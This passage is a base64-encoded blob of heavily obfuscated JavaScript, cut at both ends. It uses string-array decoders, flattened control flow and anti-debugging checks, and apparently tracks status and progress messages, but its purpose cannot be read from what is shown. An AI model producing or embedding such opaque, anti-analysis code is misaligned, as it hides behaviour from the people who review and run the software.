CBkPXt6V2dIcTpmdW5jdGlvbih0LGUpe3JldHVybiBuWyhyPTQ5MixvPSJnb0gwIixRcihyLSAtMzMyLG8pKV0odCxlKTt2YXIgcixvfSxmbXhTUDpuW3UoIjF4WGQiLDQ2NiwtMjQ0KV0sUENLb3c6blt1KCJkTiNlIiwxMTYsODE3KV0scWxBS206ZnVuY3Rpb24odCxlKXtyZXR1cm4gblsocj0iWlJ3QSIsYT0yMDM0LG8oMCwwLDAsYS03OTUscikpXSh0LGUpO3ZhciByLGF9LHdDY3ZUOm5bbCgiM3J6MiIsMTkzNSldLEVubXF1Om5bbCgiODJydCIsMjM2OCldfTtmdW5jdGlvbiB1KHQsZSxuLHIsbyl7cmV0dXJuIGMobi0gLTEyNjQsMCwwLHQpfWZ1bmN0aW9uIGwodCxlLG4scixvKXtyZXR1cm4gaShlLTM4Nix0KX1mdW5jdGlvbiBXKHQsZSxuLHIsbyl7cmV0dXJuIGMoZS0gLTU5MiwwLDAsdCl9aWYobltXKCJdW0FGIiwxNTg0KV0obltXKCIxQmNLIiw5NzEpXSxuW2woImF2TyUiLDExNTYpXSkpe2NvbnN0IGU9YT9mdW5jdGlvbigpe2Z1bmN0aW9uIGUodCxlLG4scixvKXtyZXR1cm4gbChvLHQtODkpfWZ1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gbCh0LGUtIC03MjIpfWlmKGRbbigiM3J6MiIsNjE5KV0oZFtlKDIwOTQsMCwwLDAsIjNyejIiKV0sZFtlKDExOTQsMCwwLDAsImYqQF0iKV0pKXJldHVybiEwO2lmKHIpe2lmKGRbbigiQE04RSIsMTQ4NCldKGRbZSgxODkyLDAsMCwwLCIqUHUqIildLGRbbigiZCRubyIsMTg2KV0pKXtjb25zdCB0PV8weDE4NzZhYj9mdW5jdGlvbigpe2lmKF8weDQwZGM1MSl7Y29uc3Qgcj1fMHgyNzNmZjlbKHQ9LTIyNixuPSJhdk8lIixlKHQtIC0xNDc3LDAsMCwwLG4pKV0oXzB4NTc0Zjk0LGFyZ3VtZW50cyk7cmV0dXJuIF8weDEzMGJiMD1udWxsLHJ9dmFyIHQsbn06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHgyODE1NjM9ITEsdH17Y29uc3QgZT1yW24oImF2TyUiLDQ0MCldKHQsYXJndW1lbnRzKTtyZXR1cm4gcj1udWxsLGV9fX06ZnVuY3Rpb24oKXt9O3JldHVybiBhPSExLGV9e2NvbnN0IHQ9ZFtvKDAsMCwwLDEyMjYsIkIpdm8iKV1bdSgiV0FSUyIsMCw5MDUpXSgifCIpO2xldCBlPTA7Zm9yKDs7KXtzd2l0Y2godFtlKytdKXtjYXNlIjAiOnRoaXNbVygiNnl3WCIsMTUyMSkrdSgiKDhiSiIsMCw2MzEpXT1bXTtjb250aW51ZTtjYXNlIjEiOnRoaXNbdSgiXVtBRiIsMCwxMjApK2woInV5T2QiLDIxMjcpK28oMCwwLDAsMTAxNCwiTEBnUCIpXT1uZXcgXzB4NWJmZGFlO2NvbnRpbnVlO2Nhc2UiMiI6dGhpc1tvKDAsMCwwLDEwNzcsIk1LN0siKStvKDAsMCwwLDExMzEsImZAdFIiKStzKDAsInVUQ3oiLDAsMCwzNzIpKyJlZCJdPSExO2NvbnRpbnVlO2Nhc2UiMyI6XzB4NWM5OGZjW3MoMCwiV0FSUyIsMCwwLDEyMTcpKyJlIl0oKCgpPT4oe3N0YXR1czpvKDAsMCwwLDE2NjYsIm5ONSEiKSt1KCJTVFJZIiwwLC00MDUpLHN1YlN0YXR1czpsKCJMQGdQIiwyMTM0KSxjdXJyZW50OjAsdG90YWw6MCxtZXNzYWdlOiIifSkpKTtjb250aW51ZTtjYXNlIjQiOl8weDMyYjIwYltvKDAsMCwwLDE2OTcsIjZ5d1giKV0odGhpc1tsKCIoOGJKIiwxOTkzKSt1KCJ1VEN6IiwwLDE0OSldKTtjb250aW51ZTtjYXNlIjUiOnRoaXNbVygiKDhiSiIsMTUxMSkrcygwLCI2dW8oIiwwLDAsOTA3KV0oKTtjb250aW51ZX1icmVha319fX0oKShnbG9iYWxUaGlzLChmdW5jdGlvbigpe2NvbnN0IHQ9e307ZnVuY3Rpb24gZSh0LGUsbixyLG8pe3JldHVybiBRcihuLSAtOTE5LHQpfWZ1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gUXIoby0gLTk1OSxyKX1mdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIFFyKHItIC03OTAsZSl9dFtuKDAsMCwwLCJjKDRXIiw1NDMpXT1Rcig0NzgtNzAsInV5T2QiKStuKDAsMCwwLCJkTiNlIiwtNDM5KSsiKyQiO2NvbnN0IG89dDtyZXR1cm4gR3JbbigwLDAsMCwiIUQ1RiIsLTMwMykrcigwLCJodkE0IiwwLC05NCldKClbbigwLDAsMCwiKDhiSiIsMzMyKSsiaCJdKG9bbigwLDAsMCwiaEphNyIsMTE3KV0pW24oMCwwLDAsIiEqJHEiLC0yMjIpKyhhPTI0MixpPSJMQGdQIixRcihhLSAtMTk4LGkpKV0oKVtlKCIoOGJKIiwwLDc2NykrcigwLCJhd1pvIiwwLC0zNDgpKyJyIl0oR3IpW2UoIiEqJHEiLDAsMzU3KSsiaCJdKG9bcigwLCJEMTRjIiwwLC00MzQpXSk7dmFyIGEsaX0pKTtHcigpO2NvbnN0IEVyPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCh0LGUsbixyLG8pe3JldHVybiBRcihyLSAtNDcsbyl9Y29uc3QgZT17V2NrSlM6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCE9PWV9LG9QaHF0OmEoODU3LCJXQVJTIiw1MTgpLFNsVXpLOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxDUG91SDppKDE4NjMsImdvSDAiLDE0NTQpLEZrS29aOmZ1bmN0aW9uKHQpe3JldHVybiB0KCl9LFZ1ZUdmOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQoZSl9LENxbnFOOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQrZX0seU1JSmk6bygxMTIwLDMxOCwiYXZPJSIsLTM3LDU4MykrdCgwLDAsMCw5NzcsIk96MkciKStpKDI3MSwidXlPZCIsMzgxKSsobj0iMUJjSyIscj0xNTE1LFFyKHItNjY2LG4pKSxweVVaVzpvKDYxNSw0ODksIldeVFQiLDE0NzIsODc0KStvKDE3NTksMTE4OSwiMlVsMyIsMTE3NiwxOTc4KSt0KDAsMCwwLDc5MCwiNnVvKCIpK2EoMTE0NiwidXlPZCIsNDkwKSthKDU4MywiWk1eZyIsMTE1MCkraSg3MzksImZjJnAiLDM1MikrIiApIixnRWRzeDpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sR1F1VWo6bygyODMsOTExLCJmYyZwIiwzNTgsMTAyMyl9O3ZhciBuLHI7ZnVuY3Rpb24gbyh0LGUsbixyLG8pe3JldHVybiBRcihvLTIyOSxuKX1mdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIFFyKG4tIC02MjIsZSl9ZnVuY3Rpb24gaSh0LGUsbixyLG8pe3JldHVybiBRcihuLSAtMjgwLGUpfWxldCBjPSEwO3JldHVybiBmdW5jdGlvbihuLHIpe2Z1bmN0aW9uIG8oZSxuLHIsbyxhKXtyZXR1cm4gdCgwLDAsMCxyLSAtNDM1LG8pfWZ1bmN0aW9uIGEodCxlLG4scixvKXtyZXR1cm4gaSgwLG4sdC0gLTE3NSl9Y29uc3Qgcz17Z1hnZEs6ZnVuY3Rpb24odCxuKXtyZXR1cm4gZVsocj0tNjE3LG89IjZ5d1giLFFyKHItIC05MjEsbykpXSh0LG4pO3ZhciByLG99LERma1hyOmZ1bmN0aW9uKHQsbil7cmV0dXJuIGVbKHI9IldBUlMiLG89NDY5LFFyKG8tMTYyLHIpKV0odCxuKTt2YXIgcixvfSxjbG9VWTplW28oMCwwLC0xOTAsImF2TyUiKV0sSWFld286ZVtvKDAsMCwtODYsImhKYTciKV19O2Z1bmN0aW9uIGQodCxlLG4scixvKXtyZXR1cm4gaSgwLG8sbi0gLTIzOSl9ZnVuY3Rpb24gdSh0LGUsbixyLG8pe3JldHVybiBpKDAsbyxuLTEyMDUpfWlmKGVbYSgxMTU2LDAsIm9qQk8iKV0oZVtvKDAsMCwxMjEyLCJhdk8lIildLGVbbygwLDAsLTE3OSwiV0FSUyIpXSkpe2NvbnN0IHQ9Yz9mdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gYShvLTE0NDUsMCxyKX1mdW5jdGlvbiBpKHQsZSxuLHIsYSl7cmV0dXJuIG8oMCwwLHItMTEyMSxuKX1pZihlW2koMCwwLCIhRDVGIiwxNTE4KV0oZVt0KDAsMCwwLCI2dW8oIiwyODE3KV0sZVt0KDAsMCwwLCJhdk8lIiwxODIxKV0pKXtjb25zdCB0PV8weGUxMDBiYltpKDAsMCwiaHZBNCIsMTYyMCldKF8weDMyMjI1Myxhcmd1bWVudHMpO3JldHVybiBfMHgyZGMzN2I9bnVsbCx0fWlmKHIpe2lmKGVbaSgwLDAsIjFCY0siLDI0MjUpXShlWyhjPTExMDIscz0idXZsaSIsYShjLSAtMTkzLDAscykpXSxlW3QoMCwwLDAsIlpSd0EiLDE0NDQpXSkpe2NvbnN0IGU9clt0KDAsMCwwLCJkTiNlIiwyMTAzKV0obixhcmd1bWVudHMpO3JldHVybiByPW51bGwsZX10aGlzW2koMCwwLCIhKiRxIiwyMDE4KStpKDAsMCwiZGFCXSIsMTY4NSkrImUiXSgpfXZhciBjLHN9OmZ1bmN0aW9uKCl7fTtyZXR1cm4gYz0hMSx0fXtjb25zdCB0PWZ1bmN0aW9uKCl7bGV0IHQ7dHJ5e3Q9c1toKCJodkE0Iiw5OSw0OTAsNTUxLDg0KV0oXzB4MzliZGJjLHNbKFc9MjEwLGY9ImRhQl0iLG8oMCwwLFctMzAzLGYpKV0oc1soYz0iRDE0YyIsbD0xNjIzLHUoMCwwLGwtIC05NzIsMCxjKSldKHNbaCgiZCRubyIsNzE4LDMwNiw4NzIsMTI0KV0sc1soZT0yMDQwLG49ImdvSDAiLHI9bixhPWUtMTI5MixpKDAscixhLSAtNjU0KSldKSwiKTsiKSkoKX1jYXRjaChtKXt0PV8weDM4MDUwMn12YXIgZSxuLHIsYSxjLGwsVyxmO2Z1bmN0aW9uIGgodCxlLG4scixvKXtyZXR1cm4gZCgwLDAsbi00OTEsMCx0KX1yZXR1cm4gdH07ZVtvKDAsMCwxMjg2LCI2dW8oIildKHQpW2QoMCwwLDc1NCwwLCJmYyZwIikrdSgwLDAsMjY2NywwLCIxQmNLIikrImwiXShfMHgyOWUzNzMsNGUzKX19fSgpO2Z1bmN0aW9uIEJyKHQsZSxuLHIsbyl7cmV0dXJuIFFyKG8tNzAzLHQpfSFmdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gUXIoci0yNDAsbil9Y29uc3QgZT17VXFzSHQ6bygxNTcwLDExMDEsMTM3MSwxNzY4LCJNSzdLIikrbygyNDgsLTI0MiwtODI3LDQwMiwidXZsaSIpK3IoMjEzMCwxMDE2LCJaUndBIiwxNDAzKSt0KDAsMCwiYXZPJSIsODc3KSsiMTAiLEhHUWJiOmEoNzI2LDYyMywiMHdBRSIpK3IoLTM5MSwzMDMsIk1LN0siLDE3OSkrbygtMTAxMywtMjYwLC04MzcsLTUzMCwiZCRubyIpKyJEIixiRW12SDpyKDEwODYsMjI1MywiMUJjSyIsMTQ0MCkrYSgxMjQyLDIwMzgsIlpSd0EiKStyKDc4NCwzMDIsIl1bQUYiLDczNikrImQiLFNNenZkOmEoMTk1NywxODk5LCJNSzdLIikrdCgwLDAsIjF4WGQiLDE5NjApK2EoMTE4NCwxODAzLCJaUndBIikrbyg1ODIsNzU1LDU5MiwxMjAyLCJXXlRUIikrcigyMDc3LDEwNjMsIl1bQUYiLDEzODMpLHZ2ZFJaOnQoMCwwLCJaTV5nIiwxNTUxKSthKDExMTAsOTYzLCJiWG9DIikrdCgwLDAsInV2bGkiLDIwODApK24oNDExLDg1NSwzOTQsIm9qQk8iKStvKC0xODIsMTg4LDgwNCwxMDAxLCJaTV5nIiksRGtkdlY6byg5NzMsODE5LDMxNywxMTQzLCJATThFIikrYSg3MTYsMTA1NSwiV0FSUyIpK24oMTM0OCwxNjAyLDE4MzAsIldBUlMiKSxiV0FGVzp0KDAsMCwiZGFCXSIsMTEyMikrdCgwLDAsImZAdFIiLDEzMjIpK28oNjMsNzEsMzQ3LDI5MiwiZkB0UiIpLGJBeU1oOnQoMCwwLCJjKDRXIiw4MDIpLGdoRmtEOnIoMjcxLDE0MTQsImhKYTciLDYyNiksclpqZk86YSgyODMxLDIwMjgsImcheUMiKStuKDE1OTAsMTUxMSwxMTc0LCJvakJPIikrbigxMjAyLDk2OSw1NzEsIjVWQ3ciKSxlSllEZDpvKDgzMywxMjExLDE5MTEsMTc5NSwiYlhvQyIpK2EoMTQwOCw4NjUsIjZ1bygiKStyKDEwMDEsNTc0LCJ0QlhlIiwxMTU3KSxNV1VaUTpuKDYyOCw4NjQsNjE1LCJvakJPIikrdCgwLDAsIjJVbDMiLDU4NSkrcigtMzgyLC02MTksIjB3QUUiLDk2KStyKDI2MiwtMzA2LCI4MnJ0IiwxODQpLGlsdHNWOm4oMTE3MywxMTUxLDQ3OCwiIUQ1RiIpK3QoMCwwLCJodkE0IiwxOTMyKStyKDYwNSwxMjg2LCIhRDVGIiw3MTUpK24oMjE5OCwxODcxLDEzODksIkxAZ1AiKSxxWHFqZDp0KDAsMCwiaEphNyIsNjM1KSt0KDAsMCwidVRDeiIsNzg3KStvKDI3MSw1LDMzNywtNDQ0LCJmQHRSIikrdCgwLDAsIkIpdm8iLDE3NzQpKyJTIix4alVuRjpvKDExNzEsNzcxLDY0NSwzMDEsImZjJnAiKStyKDE2ODAsMTY4MCwiKDhiSiIsMTIxNikrdCgwLDAsIkIpdm8iLDYyMCkrYSgxMjYzLDk5NSwiZkB0UiIpKyJzIixyTVBSRTpyKDk2MSwxMjY1LCI2eXdYIiw5NzMpK2EoMTYwNCw4MDksImQkbm8iKSthKDcwMiwxMTcxLCJjKDRXIikrYSg4NjEsMTA4OCwibk41ISIpK24oMjU1MSwyMzEzLDIxMzYsIjB3QUUiKSxCeGtmYzphKDEwODQsMTQwOCwiRDE0YyIpK3QoMCwwLCJjUWx5IiwyMTI3KSt0KDAsMCwib2pCTyIsMjA0OCkrcig5MTYsMTczOSwiNnVvKCIsMTIyMSkrbyg1NjcsLTM3LDYxLC0zODIsIlpNXmciKSx1V0lVajpvKDE0NzAsMTE1NCw5NzIsMzkwLCI2eXdYIikrcigxNDU2LDE1MzYsIkBNOEUiLDE0MDQpK3IoMTUxNCwxNjE0LCI1VkN3IiwxNDg5KSthKDEyMzAsNjQzLCJNSzdLIikrIkEiLFNjakVXOnQoMCwwLCJMQGdQIiw5MzgpK24oMjE2NCwxODI4LDI1MzEsInV5T2QiKStvKDcxMiw1NzgsMzcwLDEzMTksIjZ1bygiKStyKDEzNDksODkyLCJkYUJdIiwxNDg4KSsiYSIseHN3Y3I6bigyMTc0LDE3MDIsMjI0NCwiNVZDdyIpK3IoMTYxOCw5NTQsIiFENUYiLDg5NikrbygxMDM5LDQ5NSwxMjQzLC05MywiXVtBRiIpLHNBQ0FmOnQoMCwwLCJkJG5vIiw3MDcpK28oLTg5OCwtMjY5LC04ODIsLTEwNzYsImMoNFciKStuKDEyODYsMTUwMyw4OTUsImh2QTQiKSxnaU1LajpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0sS0N5ZHU6bigxMTA5LDExNzEsMTE5OCwiaEphNyIpLHNmekpvOm4oMTIwNSwxNjY2LDIyODcsImh2QTQiKSxqRXVmaTphKDE3MTQsMTU4OCwiYyg0VyIpK24oMjQ0MywxNzY5LDIzNzIsIjNyejIiKStvKDI0MywyOTEsLTY4LC01MTcsImROI2UiKSsiKSIsQW93cGc6bygtNDU2LDM0MSw3NDMsOTM0LCJCKXZvIikrbyg0ODAsLTk4LDQwMSwyNjMsInVUQ3oiKSthKDE1NDUsMTA5MSwiU1RSWSIpK2EoMTQ3Myw4ODksIipQdSoiKSt0KDAsMCwiU1RSWSIsMTkxMykrdCgwLDAsImROI2UiLDE4MzgpK3QoMCwwLCJATThFIiwxNDk3KSxKYnplTjpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSx2dXhKVjpyKDIzNDUsMTU0NSwiaEphNyIsMTYzOSkscXBnT2o6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxld2FFZTpvKDY3NSwxMDYzLDExMTgsOTc5LCJTVFJZIiksaFhiSFA6dCgwLDAsImMoNFciLDU1NSksdFJ4WG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LFlodXZsOm8oLTE1MywtODksLTQ2MCw0MSwiT3oyRyIpLEh0dlNxOnQoMCwwLCIhKiRxIiwxMzQ1KSxJckhXejpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSx2SnpvZzpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sVldZelg6bigzMjgsODI4LDEyMzQsImZAdFIiKSxjZEtpVDpuKDI2ODAsMTk5NywyMDQ3LCJCKXZvIikseUpUWnY6ZnVuY3Rpb24odCl7cmV0dXJuIHQoKX0sZW1QREM6ZnVuY3Rpb24odCxlLG4pe3JldHVybiB0KGUsbil9fTtmdW5jdGlvbiBuKHQsZSxuLHIsbyl7cmV0dXJuIFFyKGUtNDcwLHIpfWZ1bmN0aW9uIHIodCxlLG4scixvKXtyZXR1cm4gUXIoci0gLTIyMCxuKX1mdW5jdGlvbiBvKHQsZSxuLHIsbyl7cmV0dXJuIFFyKGUtIC02MTEsbyl9ZnVuY3Rpb24gYSh0LGUsbixyLG8pe3JldHVybiBRcihlLTMyNCxuKX1lW24oMCwyMjMyLDAsIjgycnQiKV0oRXIsdGhpcywoZnVuY3Rpb24oKXtmdW5jdGlvbiB0KHQsZSxuLHIsYSl7cmV0dXJuIG8oMCxuLTEyMjIsMCwwLGEpfWZ1bmN0aW9uIHIodCxlLG4scixhKXtyZXR1cm4gbygwLHItMTA4NSwwLDAsbil9ZnVuY3Rpb24gaSh0LGUscixvLGEpe3JldHVybiBuKDAsZS0zNjYsMCx0KX1mdW5jdGlvbiBjKHQsZSxuLHIsbyl7cmV0dXJuIGEoMCxyLTI5NSxvKX1mdW5jdGlvbiBzKHQsZSxyLG8sYSl7cmV0dXJuIG4oMCxlLSAtMTgsMCx0KX1pZihlW3MoIlNUUlkiLDE4NDIpXShlW2MoMCwwLDAsMTgwOSwiMUJjSyIpXSxlW3MoImZjJnAiLDIxOTMpXSkpe2NvbnN0IG49bmV3IFJlZ0V4cChlW2MoMCwwLDAsMTMzNCwiY1FseSIpXSksbz1uZXcgUmVnRXhwKGVbcigwLDAsImQkbm8iLDE3MDkpXSwiaSIpLGE9ZVtzKCJvakJPIiwxOTU1KV0oanIsZVt0KDAsMCwxMjE0LDAsIjZ1bygiKV0pO2lmKG5bdCgwLDAsMTUwNywwLCJ1dmxpIildKGVbcygiQ1hdRCIsMjEzNyldKGEsZVtjKDAsMCwwLDIzODYsIkNYXUQiKV0pKSYmb1tzKCJCKXZvIiw4NTIpXShlW2koIl1bQUYiLDIwMjcpXShhLGVbdCgwLDAsMTU2MiwwLCJmKkBdIildKSkpe2lmKGVbcygiNnVvKCIsNzQ1KV0oZVtjKDAsMCwwLDE1MjAsIlpSd0EiKV0sZVtpKCJ1dmxpIiwxOTAzKV0pKXtjb25zdCB0PV8weDRjYzY2YT9mdW5jdGlvbigpe2lmKF8weDM3NGRlYyl7Y29uc3Qgbj1fMHg1YTNjYmNbKHQ9NzA4LGU9ImMoNFciLGkoZSx0LSAtNzUxKSldKF8weDQ0N2JiNSxhcmd1bWVudHMpO3JldHVybiBfMHg0ZDk5ZTM9bnVsbCxufXZhciB0LGV9OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4OTQxMzkyPSExLHR9ZVtjKDAsMCwwLDk3OCwiNnVvKCIpXShqcil9ZWxzZXtpZihlW3QoMCwwLDE0OTgsMCwiZCRubyIpXShlW2koImh2QTQiLDIzOTQpXSxlW2koImROI2UiLDI0NTcpXSkpcmV0dXJuIHQoMCwwLDE4MzQsMCwiNVZDdyIpK3IoMCwwLCI4MnJ0IiwxNjMyKStzKCIxQmNLIiw5NTkpK2koImYqQF0iLDIxMTgpK2koIk96MkciLDIyMjMpK3QoMCwwLDIyMDIsMCwiZGFCXSIpK3IoMCwwLCI2dW8oIiwxMDYwKStpKCIyVWwzIiwxOTY2KStyKDAsMCwiWlJ3QSIsMjA1MykrYygwLDAsMCwyMzk5LCJoSmE3IikrcigwLDAsIig4YkoiLDE5MTgpKyJlLyIrXzB4YzVjM2EyO2VbdCgwLDAsMTMwOCwwLCJMSDVxIildKGEsIjAiKX19ZWxzZXtjb25zdCBuPWVbdCgwLDAsMjA2NCwwLCJ1eU9kIildW2MoMCwwLDAsMTA4OCwiYXdabyIpXSgifCIpO2xldCBvPTA7Zm9yKDs7KXtzd2l0Y2gobltvKytdKXtjYXNlIjAiOl8weDUxOWRkYltlW3IoMCwwLCJmQHRSIiwyMTU3KV1dPWVbYygwLDAsMCwxMzIyLCIhKiRxIildO2NvbnRpbnVlO2Nhc2UiMSI6XzB4NGJkZDc1W2VbaSgiISokcSIsMTc0MildXT1lW3QoMCwwLDkwNywwLCJMQGdQIildO2NvbnRpbnVlO2Nhc2UiMiI6XzB4NTYzY2M2W2VbYygwLDAsMCwyMTAxLCIwd0FFIildXT1lW2koIlpNXmciLDE5MTQpXTtjb250aW51ZTtjYXNlIjMiOl8weDMwNDQ0OFtlW3MoIlNUUlkiLDEzNzUpXV09ZVtjKDAsMCwwLDE3NjYsImcheUMiKV07Y29udGludWU7Y2FzZSI0IjpfMHg0YmM2MzRbZVtpKCI2eXdYIiwyMTg3KV1dPWVbcigwLDAsImQkbm8iLDIyMTQpXTtjb250aW51ZTtjYXNlIjUiOl8weDU1MmU1N1tlW3QoMCwwLDE3MTAsMCwiMlVsMyIpXV09ZVtzKCJATThFIiwyMDMwKV07Y29udGludWU7Y2FzZSI2IjpfMHgyZjRjZjlbZVtzKCIhKiRxIiwyMzI1KV1dPWVbdCgwLDAsMTI4NCwwLCIwd0FFIildO2NvbnRpbnVlO2Nhc2UiNyI6XzB4NTBjNjQwW2VbcygidVRDeiIsMTAwMildXT1lW3MoImMoNFciLDE2NDQpXTtjb250aW51ZTtjYXNlIjgiOl8weDEwOWJkNFtlW2koIkQxNGMiLDExOTgpXV09ZVtyKDAsMCwiTUs3SyIsODI2KV07Y29udGludWU7Y2FzZSI5IjpfMHg1MjFhYmJbZVtyKDAsMCwiMXhYZCIsMTA4OCldXT1lW3MoIjF4WGQiLDE1NDIpXTtjb250aW51ZTtjYXNlIjEwIjpyZXR1cm4gXzB4NWMxOTI1fWJyZWFrfX19KSkoKX0oKTtjb25zdCBUcj1mdW5jdGlvbigpe2NvbnN0IHQ9e25yd3VWOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxJT3V2bjpuKDI3NCw0NzgsNTAyLCJhdk8lIiksUVZ5b3Q6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCE9PWV9LExRUFB5Om4oNDExLDM3MCwyMSwiaHZBNCIpLGJvVEFFOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQoZSl9LHJlSFlnOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxlaGtqYjpuKDQzNiw4NTEsNzkxLCJodkE0IiksVU5WcWk6bigtODg0LDE5NywtNTQ0LCIxQmNLIil9O2xldCBlPSEwO2Z1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gUXIobi0gLTg3NCxyKX1yZXR1cm4gZnVuY3Rpb24ocixvKXtmdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIFFyKGUtIC0zMDItIC0zODgsbil9Y29uc3QgaT17TktRSFc6ZnVuY3Rpb24oZSxuKXtyZXR1cm4gdFsocj0idXZsaSIsbz02NTEsUXIoby0gLTYwNCxyKSldKGUsbik7dmFyIHIsb319O2Z1bmN0aW9uIGModCxlLHIsbyxhKXtyZXR1cm4gbigwLDAsZS0xMjM3LG8pfWZ1bmN0aW9uIHModCxlLG4scixvKXtyZXR1cm4gUXIodC0gLTg3Ny00NTQsbil9ZnVuY3Rpb24gZCh0LGUscixvLGEpe3JldHVybiBuKDAsMCx0LTExNzYsbyl9aWYodFthKDAsMzQwLCJ0QlhlIildKHRbYSgwLDE4MSwiQil2byIpXSx0W3MoMTQsMCwiZyF5QyIpXSkpe2NvbnN0IG49ZT9mdW5jdGlvbigpe2Z1bmN0aW9uIGUodCxlLG4scixvKXtyZXR1cm4gcyhyLTk4LDAsdCl9ZnVuY3Rpb24gbih0LGUsbixyLG8pe3JldHVybiBzKG8tMTIwMSwwLGUpfWZ1bmN0aW9uIGModCxlLG4scixvKXtyZXR1cm4gcyhuLTc3OCwwLHIpfWZ1bmN0aW9uIHUodCxlLG4scixvKXtyZXR1cm4gZChyLTQ5NywwLDAsbil9aWYodFtjKDAsMCwxNjg2LCJ0QlhlIildKHRbYygwLDAsNzY4LCJmKkBdIildLHRbYygwLDAsMjAyMywiY1FseSIpXSkpe2lmKG8pe2lmKHRbbigwLCJoSmE3IiwwLDAsMTE1MSldKHRbKGw9Ik5WQmUiLFc9MjA1OCxhKDAsVy0xMjU5LGwpKV0sdFtjKDAsMCw3MzMsIjZ1bygiKV0pKXJldHVybiB2b2lkIF8weDFlNWU4NFtjKDAsMCwxMzYyLCIyVWwzIikrImUiXSgodD0+KHsuLi50LHN0YXR1czpuKDAsImcheUMiLDAsMCwxMzcwKSxzdWJTdGF0dXM6ZSgiISokcSIsMCwwLDQ5NCkrbigwLCJuTjUhIiwwLDAsMTEwNikrYygwLDAsMTQ0OCwiRDE0YyIpK24oMCwibk41ISIsMCwwLDIzNDYpK2MoMCwwLDE1NzEsImh2QTQiKSxtZXNzYWdlOm4oMCwiTlZCZSIsMCwwLDEzMTQpK24oMCwiMlVsMyIsMCwwLDIwOTYpK24oMCwiZkB0UiIsMCwwLDExODgpK2MoMCwwLDEyMTcsIm5ONSEiKSt1KDAsMCwiTlZCZSIsMjE2OSkrdSgwLDAsIlNUUlkiLDE1NzgpK2MoMCwwLDIyMTEsIiEqJHEiKStlKCJDWF1EIiwwLDAsODU2KStuKDAsIk96MkciLDAsMCwyNDQ0KSt1KDAsMCwiTUs3SyIsMTQxNCkrInMifSkpKTt7Y29uc3QgdD1vW3UoMCwwLCJuTjUhIiwyMTkyKV0ocixhcmd1bWVudHMpO3JldHVybiBvPW51bGwsdH19fWVsc2V7aWYoXzB4NDQ3NzM4KXJldHVybiBfMHg3OWJlNTA7aVtlKCJXXlRUIiwwLDAsOTk4KV0oXzB4NDRlZGZkLDApfXZhciBsLFd9OmZ1bmN0aW9uKCl7fTtyZXR1cm4gZT0hMSxufV8weGUyODg4YVthKDAsNzMsImJYb0MiKSsiZSJdKCh0PT57cmV0dXJuey4uLnQsc3RhdHVzOmQoMTgxMywwLDAsIlpSd0EiKSxzdWJTdGF0dXM6ZCg5MTAsMCwwLCJodkE0IikrKGU9ImMoNFciLHI9MTU1OSxuKDAsMCxyLTEwMzAsZSkpK3MoNTI0LDAsIm5ONSEiKSthKDAsODU3LCJjUWx5IikrInMiLG1lc3NhZ2U6ZCgxMDQzLDAsMCwiTEBnUCIpK2MoMCw4MjksMCwiYXZPJSIpK2MoMCwxOTE0LDAsIjZ1bygiKSthKDAsNTczLCJuTjUhIikrInMifTt2YXIgZSxyfSkpfX0oKTtUcihnbG9iYWxUaGlzLChmdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gUXIobi00ODEscil9Y29uc3QgZT17TlZjQ1E6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sVElDa2w6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxWaWFjQTpvKC0yMzEsNzAzLDkxOSwiXVtBRiIsMjc2KStvKC02NTcsNjg0LDgxNywiV0FSUyIsMjYpK3QoMCwwLDIzNDksInVUQ3oiKStvKDEzNjQsMTI5OCw5MjYsImMoNFciLDg1Miksb0hQQ1Q6bygtNDMxLC02OTQsMTQ2LCI1VkN3IiwtMzE2KSthKDEzMjUsMTQwMiwxMzM1LCJoSmE3IikrdCgwLDAsMTk2MSwiNVZDdyIpK28oLTM2OCw4MSwzMzMsImNRbHkiLDQyNykrYSgyMzk1LDI0ODAsMTg0NSwiZCRubyIpK28oMTI0LDY0LDEyNDgsIl1bQUYiLDg1OCkrIiApIixOU3dhRzpuKDE1OTksMTIzMiw4MDMsIkxAZ1AiKStyKDIyMTksIk96MkciLDE3MDkpKyIrJCIsTEZXdm86ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LEhBdlFjOm4oMTcyNSwyMTIzLDIwODksIm5ONSEiKSxoRkZiTDp0KDAsMCwyMzIzLCJiWG9DIiksVEx4RGw6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCE9PWV9LFpMT1NlOmEoMjEzMSwyNjE2LDM0MjMsIjFCY0siKSxsaWFycjpvKDc3MiwtMTc4LDEwNDksIk1LN0siLDI4NSkseWVuRXU6YSgxODYyLDI1MjksMTc5OSwiZyF5QyIpLFJaZkNwOnIoMTgxNSwiKk15UyIsMTgxNyksSVNCZWo6ZnVuY3Rpb24odCl7cmV0dXJuIHQoKX0sQ0FRVlA6bigxNDA5LDIxN